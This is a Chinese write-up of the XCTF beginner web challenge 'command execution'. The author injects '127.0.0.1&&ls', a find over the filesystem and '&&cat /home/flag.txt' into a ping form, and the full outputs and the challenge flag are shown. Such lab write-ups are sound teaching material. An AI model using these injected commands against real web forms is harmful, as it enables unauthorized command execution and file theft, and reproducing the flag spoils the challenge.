

攻防世界web新手区the writeup of “command execution”

原创

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题目考察知识点: ①ping和waf概念②Linux中的“find”“cat”指令③Linux中的“|”“&”使用。

打开地址环境。

根据题目中关键词①“ping功能”和“waf”②“command execution”

可推测该题与命令执行以及漏洞有关。输入本机地址127.0.0.1

PING

127.0.0.1

PING

```
ping -c 3 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.050 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.042 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.069 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.042/0.053/0.069/0.014 ms
```

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然后输入**"127.0.0.1&&ls"查看一下目录文件。

PING

```
127.0.0.1&&ls
```

PING

```
ping -c 3 127.0.0.1&&ls
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.059 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.043 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.058 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2000ms
rtt min/avg/max/mdev = 0.043/0.053/0.059/0.009 ms
index.php
```

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再输入“find”指令瞄瞄有没有和“flag”沾丢丢边的文件

输入“127.0.0.1&& find /-name "*.txt"”

PING

```
127.0.0.1&&find / -name "*.txt"
```

PING

```
ping -c 3 127.0.0.1&&find / -name "*.txt"
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.052 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.054 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.050 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.050/0.052/0.054/0.001 ms
/home/flag.txt
/usr/lib/python3.4/idlelib/HISTORY.txt
/usr/lib/python3.4/idlelib/extend.txt
/usr/lib/python3.4/idlelib/TODO.txt
```

```
/usr/lib/python3.4/idlelib/README.txt
/usr/lib/python3.4/idlelib/help.txt
/usr/lib/python3.4/idlelib/NEWS.txt
/usr/lib/python3.4/idlelib/CREDITS.txt
/usr/lib/python3.4/LICENSE.txt
/usr/lib/python3.4/lib2to3/PatternGrammar.txt
/usr/lib/python3.4/lib2to3/Grammar.txt
/usr/share/doc/python3.4-1.0.3/Unicode/Collate/home.txt
```

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嗯~o(╯▽╰)o差不多了。我们再用cat打开，就over了。

输入127.0.0.1&& cat /home/flag.txt**

PING

请输入需要ping的地址

PING

```
ping -c 3 127.0.0.1&& cat /home/flag.txt
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.032 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.039 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.042 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.032/0.037/0.042/0.008 ms
cyberpeace{1e6e06a68ceee09aa302ee2484c996d1}
```

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最后找到flag（在最后面）。

写writeup不易，点个赞吧 o(╯▽╰)o~